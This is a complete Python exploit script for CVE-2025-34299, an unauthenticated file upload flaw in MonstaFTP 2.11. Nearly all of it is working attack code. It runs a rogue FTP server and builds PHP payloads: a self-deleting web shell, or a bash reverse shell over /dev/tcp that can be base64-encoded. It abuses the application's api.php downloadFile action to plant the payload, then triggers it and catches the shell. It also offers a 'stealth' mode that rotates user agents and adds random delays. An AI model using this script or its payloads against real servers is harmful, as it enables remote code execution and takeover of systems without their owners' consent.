MonstaFTP Unauthenticated File Upload

# Titles: MonstaFTP Unauthenticated File Upload CVE-2025-34299 # Author: ibrahimsql # Date: 11/21/2025 # Vendor: https://www.monstaftp.com/ # Software: V2.11 # Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-34299 import argparse import base64 import json import os import random import requests import socket import string import sys import tempfile import threading import time import urllib3 from pwn import remote from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" ] class ExploitFTPHandler(FTPHandler): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.banner = "FTP Server Ready" class Listener: def __init__(self, bind_host, bind_port): self.bind_host = bind_host self.bind_port = bind_port def start_listener(self): try: with socket.create_server((self.bind_host, self.bind_port)) as listener: print(f"[*] Listening on {self.bind_host}:{self.bind_port}...") listener.settimeout(1) while True: try: client, addr = listener.accept() print(f"[+] Received connection from {addr[0]}:{addr[1]}") client.settimeout(0.1) self.handle_client(client) break except socket.timeout: continue except Exception as e: print(f"[-] Failed to start listener: {e}") def handle_client(self, client): try: tube = remote.fromsocket(client) tube.interactive() except (KeyboardInterrupt, EOFError): print("\n[*] Connection closed") except Exception as e: print(f"[-] Error: {e}") finally: client.close() def generate_payload(lhost, lport, mode, encode=False): random_cmd = ''.join(random.choices(string.ascii_letters, k=6)) if mode == "webshell": payload = f"<?php if(isset($_GET['{random_cmd}'])) {{system($_GET['{random_cmd}']);}} unlink(__FILE__); ?>" else: shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'" if encode: encoded = base64.b64encode(shell_cmd.encode()).decode() payload = f"<?php $f=__FILE__; exec(base64_decode('{encoded}')); unlink($f); ?>" else: payload = f"<?php $f=__FILE__; exec(\"{shell_cmd}\"); unlink($f); ?>" return payload, random_cmd def start_ftp_server(host, port, lhost, lport, mode, encode): ftp_dir = tempfile.mkdtemp() random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php' payload_file = os.path.join(ftp_dir, random_filename) payload, cmd_param = generate_payload(lhost, lport, mode, encode) with open(payload_file, 'wb') as f: f.write(payload.encode()) user = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) authorizer = DummyAuthorizer() authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw") ExploitFTPHandler.authorizer = authorizer server = FTPServer((host, port), ExploitFTPHandler) server.max_connections = 256 return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param def exploit(target, host, port, lhost, lport, mode, stealth, encode): listener_thread = None if mode == "reverse": listener = Listener(lhost, lport) listener_thread = threading.Thread(target=listener.start_listener, daemon=False) listener_thread.start() time.sleep(1) server, ftp_dir, remote, user, pwd, cmd_param = start_ftp_server(host, port, lhost, lport, mode, encode) threading.Thread(target=server.serve_forever, daemon=True).start() time.sleep(1) local = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + '.php' api_url = f"{target.rstrip('/')}/application/api/api.php" request_data = { "connectionType": "ftp", "configuration": { "host": host, "username": user, "initialDirectory": "/", "password": pwd, "port": port }, "actionName": "downloadFile", "context": { "remotePath": remote, "localPath": local } } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests" } if stealth: time.sleep(random.uniform(0.5, 2.0)) try: response = requests.post( api_url, data={"request": json.dumps(request_data)}, headers=headers, timeout=30, verify=False ) try: response_data = response.json() except (json.JSONDecodeError, ValueError): print(f"[-] Invalid JSON response: {response.text[:200]}") return False if response.status_code == 200 and response_data.get("success"): payload_url = f"{target.rstrip('/')}/application/api/{local}" print(f"[+] Payload uploaded: {payload_url}") if mode == "webshell": print(f"[+] Web shell active!") print(f"[*] Usage: {payload_url}?{cmd_param}=<command>") print(f"[*] Example: {payload_url}?{cmd_param}=id") return True else: print(f"[*] Triggering reverse shell...") try: requests.get(payload_url, timeout=5, verify=False, headers=headers) except: pass if listener_thread: listener_thread.join() return True print(f"[-] Failed: {response.text}") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): parser = argparse.ArgumentParser(description="Monsta FTP CVE-2025-34299 Exploit") parser.add_argument("target", help="Target URL") parser.add_argument("--host", default="172.17.0.1", help="FTP server host") parser.add_argument("--port", type=int, default=2121, help="FTP server port") parser.add_argument("--lhost", default="172.17.0.1", help="Listener host") parser.add_argument("--lport", type=int, default=4444, help="Listener port") parser.add_argument("--mode", choices=["reverse", "webshell"], default="reverse", help="Attack mode") parser.add_argument("--stealth", action="store_true", help="Enable stealth mode") parser.add_argument("--encode", action="store_true", help="Base64 encode payload") args = parser.parse_args() success = exploit( args.target, host=args.host, port=args.port, lhost=args.lhost, lport=args.lport, mode=args.mode, stealth=args.stealth, encode=args.encode ) sys.exit(0 if success else 1) if __name__ == "__main__": main()